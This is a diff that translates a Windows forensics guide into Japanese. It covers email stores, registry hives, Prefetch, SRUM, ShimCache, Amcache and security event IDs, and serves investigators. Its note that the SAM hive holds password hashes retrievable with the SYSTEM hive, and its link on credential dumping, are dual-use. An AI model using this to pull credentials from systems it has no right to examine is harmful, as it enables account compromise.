+ExchangeサーバーまたはOutlookクライアントが使用されると、いくつかのMAPIヘッダーが存在します: -- `Mapi-Client-Submit-Time`: Time of the system when the email was sent -- `Mapi-Conversation-Index`: Number of children messages of the thread and timestamp of each message of the thread -- `Mapi-Entry-ID`: Message identifier. -- `Mappi-Message-Flags` and `Pr_last_Verb-Executed`: Information about the MAPI client (message read? no read? responded? redirected? out of the office?) +- `Mapi-Client-Submit-Time`:メールが送信されたときのシステムの時間 +- `Mapi-Conversation-Index`:スレッドの子メッセージの数と各メッセージのタイムスタンプ +- `Mapi-Entry-ID`:メッセージ識別子。 +- `Mappi-Message-Flags`および`Pr_last_Verb-Executed`:MAPIクライアントに関する情報(メッセージは読まれたか?未読か?応答されたか?リダイレクトされたか?不在か?) -In the Microsoft Outlook client, all the sent/received messages, contacts data, and calendar data are stored in a PST file in: +Microsoft Outlookクライアントでは、送信/受信されたすべてのメッセージ、連絡先データ、およびカレンダーデータは、次の場所にあるPSTファイルに保存されます: -- `%USERPROFILE%\Local Settings\Application Data\Microsoft\Outlook` (WinXP) +- `%USERPROFILE%\Local Settings\Application Data\Microsoft\Outlook`(WinXP) - `%USERPROFILE%\AppData\Local\Microsoft\Outlook` -The registry path `HKEY_CURRENT_USER\Software\Microsoft\WindowsNT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook` indicates the file that is being used. +レジストリパス`HKEY_CURRENT_USER\Software\Microsoft\WindowsNT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook`は、使用されているファイルを示します。 -You can open the PST file using the tool [**Kernel PST Viewer**](https://www.nucleustechnologies.com/es/visor-de-pst.html). +PSTファイルは、ツール[**Kernel PST Viewer**](https://www.nucleustechnologies.com/es/visor-de-pst.html)を使用して開くことができます。 ![](<../../../images/image (498).png>) -### Microsoft Outlook OST Files +### Microsoft Outlook OSTファイル -An **OST file** is generated by Microsoft Outlook when it's configured with **IMAP** or an **Exchange** server, storing similar information to a PST file. This file is synchronized with the server, retaining data for **the last 12 months** up to a **maximum size of 50GB**, and is located in the same directory as the PST file. To view an OST file, the [**Kernel OST viewer**](https://www.nucleustechnologies.com/ost-viewer.html) can be utilized. +**OSTファイル**は、Microsoft Outlookが**IMAP**または**Exchange**サーバーで構成されているときに生成され、PSTファイルと同様の情報を保存します。このファイルはサーバーと同期され、**過去12か月間**のデータを保持し、**最大サイズは50GB**で、PSTファイルと同じディレクトリにあります。OSTファイルを表示するには、[**Kernel OST viewer**](https://www.nucleustechnologies.com/ost-viewer.html)を利用できます。 -### Retrieving Attachments +### 添付ファイルの取得 -Lost attachments might be recoverable from: +失われた添付ファイルは、以下から回復可能かもしれません: -- For **IE10**: `%APPDATA%\Local\Microsoft\Windows\Temporary Internet Files\Content.Outlook` -- For **IE11 and above**: `%APPDATA%\Local\Microsoft\InetCache\Content.Outlook` +- **IE10**の場合:`%APPDATA%\Local\Microsoft\Windows\Temporary Internet Files\Content.Outlook` +- **IE11以降**の場合:`%APPDATA%\Local\Microsoft\InetCache\Content.Outlook` -### Thunderbird MBOX Files +### Thunderbird MBOXファイル -**Thunderbird** utilizes **MBOX files** to store data, located at `\Users\%USERNAME%\AppData\Roaming\Thunderbird\Profiles`. +**Thunderbird**は**MBOXファイル**を使用してデータを保存し、`Users\%USERNAME%\AppData\Roaming\Thunderbird\Profiles`にあります。 -### Image Thumbnails +### 画像サムネイル -- **Windows XP and 8-8.1**: Accessing a folder with thumbnails generates a `thumbs.db` file storing image previews, even after deletion. -- **Windows 7/10**: `thumbs.db` is created when accessed over a network via UNC path. -- **Windows Vista and newer**: Thumbnail previews are centralized in `%userprofile%\AppData\Local\Microsoft\Windows\Explorer` with files named **thumbcache_xxx.db**. [**Thumbsviewer**](https://thumbsviewer.github.io) and [**ThumbCache Viewer**](https://thumbcacheviewer.github.io) are tools for viewing these files. +- **Windows XPおよび8-8.1**:サムネイルを含むフォルダーにアクセスすると、削除後も画像プレビューを保存する`thumbs.db`ファイルが生成されます。 +- **Windows 7/10**:UNCパスを介してネットワーク上でアクセスすると`thumbs.db`が作成されます。 +- **Windows Vista以降**:サムネイルプレビューは`%userprofile%\AppData\Local\Microsoft\Windows\Explorer`に集中管理され、**thumbcache_xxx.db**という名前のファイルが作成されます。[**Thumbsviewer**](https://thumbsviewer.github.io)および[**ThumbCache Viewer**](https://thumbcacheviewer.github.io)は、これらのファイルを表示するためのツールです。 -### Windows Registry Information +### Windowsレジストリ情報 -The Windows Registry, storing extensive system and user activity data, is contained within files in: +Windowsレジストリは、広範なシステムおよびユーザー活動データを保存し、次のファイルに含まれています: -- `%windir%\System32\Config` for various `HKEY_LOCAL_MACHINE` subkeys. -- `%UserProfile%{User}\NTUSER.DAT` for `HKEY_CURRENT_USER`. -- Windows Vista and later versions back up `HKEY_LOCAL_MACHINE` registry files in `%Windir%\System32\Config\RegBack\`. -- Additionally, program execution information is stored in `%UserProfile%\{User}\AppData\Local\Microsoft\Windows\USERCLASS.DAT` from Windows Vista and Windows 2008 Server onwards. +- `%windir%\System32\Config`は、さまざまな`HKEY_LOCAL_MACHINE`サブキー用です。 +- `%UserProfile%{User}\NTUSER.DAT`は、`HKEY_CURRENT_USER`用です。 +- Windows Vista以降のバージョンでは、`HKEY_LOCAL_MACHINE`レジストリファイルが`%Windir%\System32\Config\RegBack\`にバックアップされます。 +- さらに、プログラム実行情報は、Windows VistaおよびWindows 2008 Server以降の`%UserProfile%\{User}\AppData\Local\Microsoft\Windows\USERCLASS.DAT`に保存されます。 -### Tools +### ツール -Some tools are useful to analyze the registry files: +レジストリファイルを分析するために役立つツールがいくつかあります: -- **Registry Editor**: It's installed in Windows. It's a GUI to navigate through the Windows registry of the current session. -- [**Registry Explorer**](https://ericzimmerman.github.io/#!index.md): It allows you to load the registry file and navigate through them with a GUI. It also contains Bookmarks highlighting keys with interesting information. -- [**RegRipper**](https://github.com/keydet89/RegRipper3.0): Again, it has a GUI that allows to navigate through the loaded registry and also contains plugins that highlight interesting information inside the loaded registry. -- [**Windows Registry Recovery**](https://www.mitec.cz/wrr.html): Another GUI application capable of extracting the important information from the registry loaded. +- **レジストリエディタ**:Windowsにインストールされています。現在のセッションのWindowsレジストリをナビゲートするためのGUIです。 +- [**Registry Explorer**](https://ericzimmerman.github.io/#!index.md):レジストリファイルをロードし、GUIでナビゲートすることができます。また、興味深い情報を持つキーをハイライトするブックマークも含まれています。 +- [**RegRipper**](https://github.com/keydet89/RegRipper3.0):再び、ロードされたレジストリをナビゲートできるGUIを持ち、ロードされたレジストリ内の興味深い情報をハイライトするプラグインも含まれています。 +- [**Windows Registry Recovery**](https://www.mitec.cz/wrr.html):レジストリから重要な情報を抽出できる別のGUIアプリケーションです。 -### Recovering Deleted Element +### 削除された要素の回復 -When a key is deleted it's marked as such, but until the space it's occupying is needed it won't be removed. Therefore, using tools like **Registry Explorer** it's possible to recover these deleted keys. +キーが削除されると、そのようにマークされますが、占有しているスペースが必要になるまで削除されません。したがって、**Registry Explorer**のようなツールを使用すると、これらの削除されたキーを回復することが可能です。 -### Last Write Time +### 最終書き込み時間 -Each Key-Value contains a **timestamp** indicating the last time it was modified. +各キー-値には、**最後に修正された時間**を示す**タイムスタンプ**が含まれています。 ### SAM -The file/hive **SAM** contains the **users, groups and users passwords** hashes of the system. +ファイル/ハイブ**SAM**には、システムの**ユーザー、グループ、およびユーザーパスワード**のハッシュが含まれています。 -In `SAM\Domains\Account\Users` you can obtain the username, the RID, last login, last failed logon, login counter, password policy and when the account was created. To get the **hashes** you also **need** the file/hive **SYSTEM**. +`SAM\Domains\Account\Users`で、ユーザー名、RID、最終ログイン、最終失敗ログオン、ログインカウンター、パスワードポリシー、およびアカウントが作成された時期を取得できます。**ハッシュ**を取得するには、ファイル/ハイブ**SYSTEM**も**必要**です。 -### Interesting entries in the Windows Registry +### Windowsレジストリの興味深いエントリ {{#ref}} interesting-windows-registry-keys.md {{#endref}} -## Programs Executed +## 実行されたプログラム -### Basic Windows Processes +### 基本的なWindowsプロセス -In [this post](https://jonahacks.medium.com/investigating-common-windows-processes-18dee5f97c1d) you can learn about the common Windows processes to detect suspicious behaviours. +[この投稿](https://jonahacks.medium.com/investigating-common-windows-processes-18dee5f97c1d)では、疑わしい動作を検出するための一般的なWindowsプロセスについて学ぶことができます。 ### Windows Recent APPs -Inside the registry `NTUSER.DAT` in the path `Software\Microsoft\Current Version\Search\RecentApps` you can subkeys with information about the **application executed**, **last time** it was executed, and **number of times** it was launched. +レジストリ`NTUSER.DAT`内のパス`Software\Microsoft\Current Version\Search\RecentApps`には、**実行されたアプリケーション**、**最後に実行された時間**、および**起動された回数**に関する情報を含むサブキーがあります。 -### BAM (Background Activity Moderator) +### BAM(バックグラウンドアクティビティモデレーター) -You can open the `SYSTEM` file with a registry editor and inside the path `SYSTEM\CurrentControlSet\Services\bam\UserSettings\{SID}` you can find the information about the **applications executed by each user** (note the `{SID}` in the path) and at **what time** they were executed (the time is inside the Data value of the registry). +レジストリエディタで`SYSTEM`ファイルを開き、パス`SYSTEM\CurrentControlSet\Services\bam\UserSettings\{SID}`内で、**各ユーザーによって実行されたアプリケーション**に関する情報(パス内の`{SID}`に注意)と**実行された時間**を見つけることができます(時間はレジストリのデータ値内にあります)。 -### Windows Prefetch +### Windowsプリフェッチ -Prefetching is a technique that allows a computer to silently **fetch the necessary resources needed to display content** that a user **might access in the near future** so resources can be accessed quicker. +プリフェッチは、コンピュータがユーザーが**近い将来にアクセスする可能性のあるコンテンツを表示するために必要なリソースを静かに**取得することを可能にする技術です。これにより、リソースに迅速にアクセスできるようになります。 -Windows prefetch consists of creating **caches of the executed programs** to be able to load them faster. These caches as created as `.pf` files inside the path: `C:\Windows\Prefetch`. There is a limit of 128 files in XP/VISTA/WIN7 and 1024 files in Win8/Win10. +Windowsプリフェッチは、**実行されたプログラムのキャッシュを作成**して、より迅速にロードできるようにします。これらのキャッシュは、パス`C:\Windows\Prefetch`内に`.pf`ファイルとして作成されます。XP/VISTA/WIN7では128ファイル、Win8/Win10では1024ファイルの制限があります。 -The file name is created as `{program_name}-{hash}.pf` (the hash is based on the path and arguments of the executable). In W10 these files are compressed. Do note that the sole presence of the file indicates that **the program was executed** at some point. +ファイル名は`{program_name}-{hash}.pf`として作成されます(ハッシュは実行可能ファイルのパスと引数に基づいています)。W10では、これらのファイルは圧縮されています。ファイルの存在は、**プログラムが実行された**ことを示しています。 -The file `C:\Windows\Prefetch\Layout.ini` contains the **names of the folders of the files that are prefetched**. This file contains **information about the number of the executions**, **dates** of the execution and **files** **open** by the program. - -To inspect these files you can use the tool [**PEcmd.exe**](https://github.com/EricZimmerman/PECmd): +ファイル`C:\Windows\Prefetch\Layout.ini`には、**プリフェッチされたファイルのフォルダーの名前**が含まれています。このファイルには、**実行回数**、**実行日**、および**プログラムによって**開かれた**ファイルに関する情報が含まれています。 +これらのファイルを検査するには、ツール[**PEcmd.exe**](https://github.com/EricZimmerman/PECmd)を使用できます。 ```bash .\PECmd.exe -d C:\Users\student\Desktop\Prefetch --html "C:\Users\student\Desktop\out_folder" ``` - ![](<../../../images/image (315).png>) ### Superprefetch -**Superprefetch** has the same goal as prefetch, **load programs faster** by predicting what is going to be loaded next. However, it doesn't substitute the prefetch service.\ -This service will generate database files in `C:\Windows\Prefetch\Ag*.db`. +**Superprefetch**は、次に読み込まれるものを予測することによって**プログラムをより速く読み込む**という同じ目的を持っています。しかし、これはprefetchサービスの代わりにはなりません。\ +このサービスは、`C:\Windows\Prefetch\Ag*.db`にデータベースファイルを生成します。 -In these databases you can find the **name** of the **program**, **number** of **executions**, **files** **opened**, **volume** **accessed**, **complete** **path**, **timeframes** and **timestamps**. +これらのデータベースには、**プログラム**の**名前**、**実行回数**、**開かれたファイル**、**アクセスされたボリューム**、**完全なパス**、**時間枠**、および**タイムスタンプ**が含まれています。 -You can access this information using the tool [**CrowdResponse**](https://www.crowdstrike.com/resources/community-tools/crowdresponse/). +この情報には、ツール[**CrowdResponse**](https://www.crowdstrike.com/resources/community-tools/crowdresponse/)を使用してアクセスできます。 ### SRUM -**System Resource Usage Monitor** (SRUM) **monitors** the **resources** **consumed** **by a process**. It appeared in W8 and it stores the data in an ESE database located in `C:\Windows\System32\sru\SRUDB.dat`. +**System Resource Usage Monitor** (SRUM)は、**プロセスによって消費されるリソース**を**監視**します。これはW8で登場し、`C:\Windows\System32\sru\SRUDB.dat`にESEデータベースとしてデータを保存します。 -It gives the following information: +以下の情報を提供します: -- AppID and Path -- User that executed the process -- Sent Bytes -- Received Bytes -- Network Interface -- Connection duration -- Process duration +- AppIDとパス +- プロセスを実行したユーザー +- 送信バイト +- 受信バイト +- ネットワークインターフェース +- 接続の持続時間 +- プロセスの持続時間 -This information is updated every 60 mins. - -You can obtain the date from this file using the tool [**srum_dump**](https://github.com/MarkBaggett/srum-dump). +この情報は60分ごとに更新されます。 +このファイルから日付を取得するには、ツール[**srum_dump**](https://github.com/MarkBaggett/srum-dump)を使用できます。 ```bash .\srum_dump.exe -i C:\Users\student\Desktop\SRUDB.dat -t SRUM_TEMPLATE.xlsx -o C:\Users\student\Desktop\srum ``` - ### AppCompatCache (ShimCache) -The **AppCompatCache**, also known as **ShimCache**, forms a part of the **Application Compatibility Database** developed by **Microsoft** to tackle application compatibility issues. This system component records various pieces of file metadata, which include: +**AppCompatCache**、別名 **ShimCache** は、**Microsoft** によって開発された **Application Compatibility Database** の一部であり、アプリケーションの互換性の問題に対処します。このシステムコンポーネントは、さまざまなファイルメタデータを記録します。これには以下が含まれます: -- Full path of the file -- Size of the file -- Last Modified time under **$Standard_Information** (SI) -- Last Updated time of the ShimCache -- Process Execution Flag +- ファイルのフルパス +- ファイルのサイズ +- **$Standard_Information** (SI) の最終変更時間 +- ShimCache の最終更新時間 +- プロセス実行フラグ -Such data is stored within the registry at specific locations based on the version of the operating system: +このデータは、オペレーティングシステムのバージョンに基づいて特定の場所にレジストリ内に保存されます: -- For XP, the data is stored under `SYSTEM\CurrentControlSet\Control\SessionManager\Appcompatibility\AppcompatCache` with a capacity for 96 entries. -- For Server 2003, as well as for Windows versions 2008, 2012, 2016, 7, 8, and 10, the storage path is `SYSTEM\CurrentControlSet\Control\SessionManager\AppcompatCache\AppCompatCache`, accommodating 512 and 1024 entries, respectively. +- XPの場合、データは `SYSTEM\CurrentControlSet\Control\SessionManager\Appcompatibility\AppcompatCache` に保存され、96エントリの容量があります。 +- Server 2003 および Windows バージョン 2008、2012、2016、7、8、10 の場合、ストレージパスは `SYSTEM\CurrentControlSet\Control\SessionManager\AppcompatCache\AppCompatCache` であり、それぞれ512および1024エントリを収容します。 -To parse the stored information, the [**AppCompatCacheParser** tool](https://github.com/EricZimmerman/AppCompatCacheParser) is recommended for use. +保存された情報を解析するには、[**AppCompatCacheParser** tool](https://github.com/EricZimmerman/AppCompatCacheParser) の使用が推奨されます。 ![](<../../../images/image (75).png>) ### Amcache -The **Amcache.hve** file is essentially a registry hive that logs details about applications that have been executed on a system. It is typically found at `C:\Windows\AppCompat\Programas\Amcache.hve`. +**Amcache.hve** ファイルは、システム上で実行されたアプリケーションの詳細を記録するレジストリハイブです。通常、`C:\Windows\AppCompat\Programas\Amcache.hve` にあります。 -This file is notable for storing records of recently executed processes, including the paths to the executable files and their SHA1 hashes. This information is invaluable for tracking the activity of applications on a system. - -To extract and analyze the data from **Amcache.hve**, the [**AmcacheParser**](https://github.com/EricZimmerman/AmcacheParser) tool can be used. The following command is an example of how to use AmcacheParser to parse the contents of the **Amcache.hve** file and output the results in CSV format: +このファイルは、最近実行されたプロセスの記録を保存することで注目されており、実行可能ファイルへのパスやその SHA1 ハッシュが含まれています。この情報は、システム上のアプリケーションの活動を追跡するために非常に貴重です。 +**Amcache.hve** からデータを抽出して分析するには、[**AmcacheParser**](https://github.com/EricZimmerman/AmcacheParser) ツールを使用できます。以下のコマンドは、AmcacheParser を使用して **Amcache.hve** ファイルの内容を解析し、結果を CSV 形式で出力する方法の例です: ```bash AmcacheParser.exe -f C:\Users\genericUser\Desktop\Amcache.hve --csv C:\Users\genericUser\Desktop\outputFolder ``` +生成されたCSVファイルの中で、`Amcache_Unassociated file entries`は、関連付けのないファイルエントリに関する豊富な情報を提供するため、特に注目に値します。 -Among the generated CSV files, the `Amcache_Unassociated file entries` is particularly noteworthy due to the rich information it provides about unassociated file entries. - -The most interesting CVS file generated is the `Amcache_Unassociated file entries`. +最も興味深いCVSファイルは、`Amcache_Unassociated file entries`です。 ### RecentFileCache -This artifact can only be found in W7 in `C:\Windows\AppCompat\Programs\RecentFileCache.bcf` and it contains information about the recent execution of some binaries. +このアーティファクトは、W7の`C:\Windows\AppCompat\Programs\RecentFileCache.bcf`にのみ存在し、いくつかのバイナリの最近の実行に関する情報を含んでいます。 -You can use the tool [**RecentFileCacheParse**](https://github.com/EricZimmerman/RecentFileCacheParser) to parse the file. +ファイルを解析するには、ツール[**RecentFileCacheParse**](https://github.com/EricZimmerman/RecentFileCacheParser)を使用できます。 -### Scheduled tasks +### スケジュールされたタスク -You can extract them from `C:\Windows\Tasks` or `C:\Windows\System32\Tasks` and read them as XML. +これらは`C:\Windows\Tasks`または`C:\Windows\System32\Tasks`から抽出でき、XMLとして読み取ることができます。 -### Services +### サービス -You can find them in the registry under `SYSTEM\ControlSet001\Services`. You can see what is going to be executed and when. +これらはレジストリの`SYSTEM\ControlSet001\Services`にあります。何が実行されるか、いつ実行されるかを見ることができます。 ### **Windows Store** -The installed applications can be found in `\ProgramData\Microsoft\Windows\AppRepository\`\ -This repository has a **log** with **each application installed** in the system inside the database **`StateRepository-Machine.srd`**. +インストールされたアプリケーションは、`\ProgramData\Microsoft\Windows\AppRepository\`にあります。このリポジトリには、データベース**`StateRepository-Machine.srd`**内に**システム内の各アプリケーションの**ログがあります。 -Inside the Application table of this database, it's possible to find the columns: "Application ID", "PackageNumber", and "Display Name". These columns have information about pre-installed and installed applications and it can be found if some applications were uninstalled because the IDs of installed applications should be sequential. +このデータベースのアプリケーションテーブル内には、「Application ID」、「PackageNumber」、「Display Name」という列があり、これらの列には、プレインストールされたアプリケーションとインストールされたアプリケーションに関する情報が含まれています。また、インストールされたアプリケーションのIDは連続している必要があるため、いくつかのアプリケーションがアンインストールされたかどうかを確認できます。 -It's also possible to **find installed application** inside the registry path: `Software\Microsoft\Windows\CurrentVersion\Appx\AppxAllUserStore\Applications\`\ -And **uninstalled** **applications** in: `Software\Microsoft\Windows\CurrentVersion\Appx\AppxAllUserStore\Deleted\` +インストールされたアプリケーションは、レジストリパス`Software\Microsoft\Windows\CurrentVersion\Appx\AppxAllUserStore\Applications\`内でも見つけることができます。また、アンインストールされたアプリケーションは、`Software\Microsoft\Windows\CurrentVersion\Appx\AppxAllUserStore\Deleted\`にあります。 -## Windows Events +## Windowsイベント -Information that appears inside Windows events are: +Windowsイベントに表示される情報は次のとおりです: -- What happened -- Timestamp (UTC + 0) -- Users involved -- Hosts involved (hostname, IP) -- Assets accessed (files, folder, printer, services) +- 何が起こったか +- タイムスタンプ(UTC + 0) +- 関与したユーザー +- 関与したホスト(ホスト名、IP) +- アクセスされた資産(ファイル、フォルダー、プリンター、サービス) -The logs are located in `C:\Windows\System32\config` before Windows Vista and in `C:\Windows\System32\winevt\Logs` after Windows Vista. Before Windows Vista, the event logs were in binary format and after it, they are in **XML format** and use the **.evtx** extension. +ログは、Windows Vista以前は`C:\Windows\System32\config`にあり、Windows Vista以降は`C:\Windows\System32\winevt\Logs`にあります。Windows Vista以前は、イベントログはバイナリ形式であり、以降は**XML形式**で、**.evtx**拡張子を使用しています。 -The location of the event files can be found in the SYSTEM registry in **`HKLM\SYSTEM\CurrentControlSet\services\EventLog\{Application|System|Security}`** +イベントファイルの場所は、SYSTEMレジストリの**`HKLM\SYSTEM\CurrentControlSet\services\EventLog\{Application|System|Security}`**で見つけることができます。 -They can be visualized from the Windows Event Viewer (**`eventvwr.msc`**) or with other tools like [**Event Log Explorer**](https://eventlogxp.com) **or** [**Evtx Explorer/EvtxECmd**](https://ericzimmerman.github.io/#!index.md)**.** +これらはWindowsイベントビューア(**`eventvwr.msc`**)または[**Event Log Explorer**](https://eventlogxp.com) **または** [**Evtx Explorer/EvtxECmd**](https://ericzimmerman.github.io/#!index.md)**を使用して視覚化できます。 -## Understanding Windows Security Event Logging +## Windowsセキュリティイベントログの理解 -Access events are recorded in the security configuration file located at `C:\Windows\System32\winevt\Security.evtx`. This file's size is adjustable, and when its capacity is reached, older events are overwritten. Recorded events include user logins and logoffs, user actions, and changes to security settings, as well as file, folder, and shared asset access. +アクセスイベントは、`C:\Windows\System32\winevt\Security.evtx`にあるセキュリティ構成ファイルに記録されます。このファイルのサイズは調整可能で、容量に達すると古いイベントが上書きされます。記録されたイベントには、ユーザーログインとログオフ、ユーザーアクション、セキュリティ設定の変更、ファイル、フォルダー、および共有資産へのアクセスが含まれます。 -### Key Event IDs for User Authentication: +### ユーザー認証のための主要なイベントID: -- **EventID 4624**: Indicates a user successfully authenticated. -- **EventID 4625**: Signals an authentication failure. -- **EventIDs 4634/4647**: Represent user logoff events. -- **EventID 4672**: Denotes login with administrative privileges. +- **EventID 4624**:ユーザーが正常に認証されたことを示します。 +- **EventID 4625**:認証の失敗を示します。 +- **EventIDs 4634/4647**:ユーザーログオフイベントを表します。 +- **EventID 4672**:管理者権限でのログインを示します。 -#### Sub-types within EventID 4634/4647: +#### EventID 4634/4647内のサブタイプ: -- **Interactive (2)**: Direct user login. -- **Network (3)**: Access to shared folders. -- **Batch (4)**: Execution of batch processes. -- **Service (5)**: Service launches. -- **Proxy (6)**: Proxy authentication. -- **Unlock (7)**: Screen unlocked with a password. -- **Network Cleartext (8)**: Clear text password transmission, often from IIS. -- **New Credentials (9)**: Usage of different credentials for access. -- **Remote Interactive (10)**: Remote desktop or terminal services login. -- **Cache Interactive (11)**: Login with cached credentials without domain controller contact. -- **Cache Remote Interactive (12)**: Remote login with cached credentials. -- **Cached Unlock (13)**: Unlocking with cached credentials. +- **インタラクティブ (2)**:直接ユーザーログイン。 +- **ネットワーク (3)**:共有フォルダーへのアクセス。 +- **バッチ (4)**:バッチプロセスの実行。 +- **サービス (5)**:サービスの起動。 +- **プロキシ (6)**:プロキシ認証。 +- **ロック解除 (7)**:パスワードで画面がロック解除されました。 +- **ネットワーククリアテキスト (8)**:クリアテキストパスワードの送信、通常はIISから。 +- **新しい資格情報 (9)**:アクセスのために異なる資格情報を使用。 +- **リモートインタラクティブ (10)**:リモートデスクトップまたはターミナルサービスのログイン。 +- **キャッシュインタラクティブ (11)**:ドメインコントローラーに連絡せずにキャッシュされた資格情報でログイン。 +- **キャッシュリモートインタラクティブ (12)**:キャッシュされた資格情報でのリモートログイン。 +- **キャッシュロック解除 (13)**:キャッシュされた資格情報でのロック解除。 -#### Status and Sub Status Codes for EventID 4625: +#### EventID 4625のステータスおよびサブステータスコード: -- **0xC0000064**: User name does not exist - Could indicate a username enumeration attack. -- **0xC000006A**: Correct user name but wrong password - Possible password guessing or brute-force attempt. -- **0xC0000234**: User account locked out - May follow a brute-force attack resulting in multiple failed logins. -- **0xC0000072**: Account disabled - Unauthorized attempts to access disabled accounts. -- **0xC000006F**: Logon outside allowed time - Indicates attempts to access outside of set login hours, a possible sign of unauthorized access. -- **0xC0000070**: Violation of workstation restrictions - Could be an attempt to login from an unauthorized location. -- **0xC0000193**: Account expiration - Access attempts with expired user accounts. -- **0xC0000071**: Expired password - Login attempts with outdated passwords. -- **0xC0000133**: Time sync issues - Large time discrepancies between client and server may be indicative of more sophisticated attacks like pass-the-ticket. -- **0xC0000224**: Mandatory password change required - Frequent mandatory changes might suggest an attempt to destabilize account security. -- **0xC0000225**: Indicates a system bug rather than a security issue. -- **0xC000015b**: Denied logon type - Access attempt with unauthorized logon type, such as a user trying to execute a service logon. +- **0xC0000064**:ユーザー名が存在しない - ユーザー名列挙攻撃を示す可能性があります。 +- **0xC000006A**:正しいユーザー名だがパスワードが間違っている - パスワード推測またはブルートフォース攻撃の可能性。 +- **0xC0000234**:ユーザーアカウントがロックアウトされました - 複数の失敗したログインの結果としてブルートフォース攻撃が続く可能性があります。 +- **0xC0000072**:アカウントが無効 - 無効なアカウントへの不正アクセスの試み。 +- **0xC000006F**:許可された時間外のログオン - 設定されたログイン時間外のアクセスの試みを示し、不正アクセスの可能性があります。 +- **0xC0000070**:ワークステーション制限の違反 - 不正な場所からのログインの試みの可能性があります。 +- **0xC0000193**:アカウントの有効期限切れ - 有効期限切れのユーザーアカウントへのアクセスの試み。 +- **0xC0000071**:パスワードの有効期限切れ - 古いパスワードでのログインの試み。 +- **0xC0000133**:時間同期の問題 - クライアントとサーバー間の大きな時間の不一致は、パス・ザ・チケットのようなより高度な攻撃を示す可能性があります。 +- **0xC0000224**:必須のパスワード変更が必要 - 頻繁な必須変更は、アカウントセキュリティを不安定にしようとする試みを示唆するかもしれません。 +- **0xC0000225**:セキュリティの問題ではなく、システムバグを示します。 +- **0xC000015b**:拒否されたログオンタイプ - サービスログオンを実行しようとするユーザーなど、不正なログオンタイプでのアクセスの試み。 -#### EventID 4616: +#### EventID 4616: -- **Time Change**: Modification of the system time, could obscure the timeline of events. +- **時間変更**:システム時間の変更、イベントのタイムラインを隠す可能性があります。 -#### EventID 6005 and 6006: +#### EventID 6005および6006: -- **System Startup and Shutdown**: EventID 6005 indicates the system starting up, while EventID 6006 marks it shutting down. +- **システムの起動とシャットダウン**:EventID 6005はシステムの起動を示し、EventID 6006はシャットダウンを示します。 -#### EventID 1102: +#### EventID 1102: -- **Log Deletion**: Security logs being cleared, which is often a red flag for covering up illicit activities. +- **ログ削除**:セキュリティログがクリアされることは、違法行為を隠蔽するための赤信号です。 -#### EventIDs for USB Device Tracking: +#### USBデバイストラッキングのためのイベントID: -- **20001 / 20003 / 10000**: USB device first connection. -- **10100**: USB driver update. -- **EventID 112**: Time of USB device insertion. +- **20001 / 20003 / 10000**:USBデバイスの最初の接続。 +- **10100**:USBドライバーの更新。 +- **EventID 112**:USBデバイス挿入の時間。 -For practical examples on simulating these login types and credential dumping opportunities, refer to [Altered Security's detailed guide](https://www.alteredsecurity.com/post/fantastic-windows-logon-types-and-where-to-find-credentials-in-them). +これらのログインタイプや資格情報ダンプの機会をシミュレートする実用的な例については、[Altered Securityの詳細ガイド](https://www.alteredsecurity.com/post/fantastic-windows-logon-types-and-where-to-find-credentials-in-them)を参照してください。 -Event details, including status and sub-status codes, provide further insights into event causes, particularly notable in Event ID 4625. +イベントの詳細、ステータスおよびサブステータスコードは、特にEvent ID 4625でのイベントの原因に関するさらなる洞察を提供します。 -### Recovering Windows Events +### Windowsイベントの回復 -To enhance the chances of recovering deleted Windows Events, it's advisable to power down the suspect computer by directly unplugging it. **Bulk_extractor**, a recovery tool specifying the `.evtx` extension, is recommended for attempting to recover such events. +削除されたWindowsイベントを回復する可能性を高めるために、疑わしいコンピュータの電源を直接抜いてシャットダウンすることをお勧めします。**Bulk_extractor**は、`.evtx`拡張子を指定する回復ツールで、これらのイベントを回復しようとする際に推奨されます。 -### Identifying Common Attacks via Windows Events +### Windowsイベントを通じて一般的な攻撃を特定する -For a comprehensive guide on utilizing Windows Event IDs in identifying common cyber attacks, visit [Red Team Recipe](https://redteamrecipe.com/event-codes/). +一般的なサイバー攻撃を特定するためにWindowsイベントIDを利用する包括的なガイドについては、[Red Team Recipe](https://redteamrecipe.com/event-codes/)を訪れてください。 -#### Brute Force Attacks +#### ブルートフォース攻撃 -Identifiable by multiple EventID 4625 records, followed by an EventID 4624 if the attack succeeds. +複数のEventID 4625レコードによって識別され、攻撃が成功した場合はEventID 4624が続きます。 -#### Time Change +#### 時間変更 -Recorded by EventID 4616, changes to system time can complicate forensic analysis. +EventID 4616によって記録され、システム時間の変更はフォレンジック分析を複雑にする可能性があります。 -#### USB Device Tracking +#### USBデバイストラッキング -Useful System EventIDs for USB device tracking include 20001/20003/10000 for initial use, 10100 for driver updates, and EventID 112 from DeviceSetupManager for insertion timestamps. +USBデバイストラッキングに役立つシステムイベントIDには、初回使用のための20001/20003/10000、ドライバー更新のための10100、挿入タイムスタンプのためのEventID 112が含まれます。 -#### System Power Events +#### システム電源イベント -EventID 6005 indicates system startup, while EventID 6006 marks shutdown. +EventID 6005はシステムの起動を示し、EventID 6006はシャットダウンを示します。 -#### Log Deletion +#### ログ削除 -Security EventID 1102 signals the deletion of logs, a critical event for forensic analysis. +セキュリティEventID 1102はログの削除を示し、フォレンジック分析にとって重要なイベントです。 {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/generic-methodologies-and-resources/basic-forensic-methodology/windows-forensics/interesting-windows-registry-keys.md b/src/generic-methodologies-and-resources/basic-forensic-methodology/windows-forensics/interesting-windows-registry-keys.md index 840b910bc..6ca68e08f 100644 --- a/src/generic-methodologies-and-resources/basic-forensic-methodology/windows-forensics/interesting-windows-registry-keys.md +++ b/src/generic-methodologies-and-resources/basic-forensic-methodology/windows-forensics/interesting-windows-registry-keys.md @@ -1,101 +1,101 @@ -# Interesting Windows Registry Keys +# 興味深いWindowsレジストリキー -### Interesting Windows Registry Keys +### 興味深いWindowsレジストリキー {{#include ../../../banners/hacktricks-training.md}} -### **Windows Version and Owner Info** +### **Windowsバージョンと所有者情報** -- Located at **`Software\Microsoft\Windows NT\CurrentVersion`**, you'll find the Windows version, Service Pack, installation time, and the registered owner's name in a straightforward manner. +- **`Software\Microsoft\Windows NT\CurrentVersion`**に位置し、Windowsのバージョン、サービスパック、インストール時間、登録された所有者の名前が簡潔に表示されます。 -### **Computer Name** +### **コンピュータ名** -- The hostname is found under **`System\ControlSet001\Control\ComputerName\ComputerName`**. +- ホスト名は**`System\ControlSet001\Control\ComputerName\ComputerName`**の下にあります。 -### 